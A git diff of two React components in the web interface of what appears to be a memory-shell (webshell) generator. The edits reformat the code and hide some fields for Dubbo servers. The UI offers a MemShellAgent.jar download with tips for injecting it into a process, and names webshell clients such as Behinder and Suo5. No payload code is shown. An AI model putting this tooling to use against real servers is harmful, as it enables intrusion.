    4. diff --git a/web/app/components/memshell/results/agent.tsx b/web/app/components/memshell/results/agent.tsx index 69161150..b62ec3a3 100644 --- a/web/app/components/memshell/results/agent.tsx +++ b/web/app/components/memshell/results/agent.tsx @@ -1,10 +1,12 @@ +import type { MemShellResult } from "@/types/memshell"; + import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; + import { Button } from "@/components/ui/button"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Separator } from "@/components/ui/separator"; import { downloadBytes, formatBytes } from "@/lib/utils"; -import type { MemShellResult } from "@/types/memshell"; export function AgentResult({ packMethod, @@ -26,11 +28,10 @@ export function AgentResult({ -
        +
        1. - {t("common:download")} MemShellAgent.jar ( - {formatBytes(atob(packResult).length)}) + {t("common:download")} MemShellAgent.jar ({formatBytes(atob(packResult).length)}) @@ -72,9 +71,7 @@ export function AgentResult({
        2. {t("memshell:tips.get-pid")}
        3. - {isPureAgent - ? t("memshell:tips.execute-command") - : t("memshell:tips.execute-command1")} + {isPureAgent ? t("memshell:tips.execute-command") : t("memshell:tips.execute-command1")}
        4. {t("memshell:tips.try-to-use-shell")}
        diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 09d11476..d53ff17d 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -1,6 +1,7 @@ import { FileTextIcon } from "lucide-react"; -import { Fragment } from "react/jsx-runtime"; import { useTranslation } from "react-i18next"; +import { Fragment } from "react/jsx-runtime"; + import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { Separator } from "@/components/ui/separator"; import { notNeedUrlPattern } from "@/lib/utils"; @@ -15,13 +16,13 @@ import { ShellToolType, type Suo5ShellToolConfig, } from "@/types/memshell"; + import { CopyableField } from "../../copyable-field"; import { FeedbackAlert } from "./feedback-alert"; -export function BasicInfo({ - generateResult, -}: Readonly<{ generateResult?: MemShellResult }>) { +export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) { const { t } = useTranslation(["memshell", "common"]); + const isDubbo = generateResult?.shellConfig.server === "Dubbo"; return ( @@ -34,11 +35,8 @@ export function BasicInfo({ -
        - +
        +
        - {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && ( + {generateResult?.shellConfig.shellTool !== ShellToolType.Custom && !isDubbo && ( )} -
        +
        {generateResult?.shellConfig.shellTool === ShellToolType.Behinder && ( <> - + )} - {generateResult?.shellConfig.shellTool === ShellToolType.Command && ( + {generateResult?.shellConfig.shellTool === ShellToolType.Command && !isDubbo && (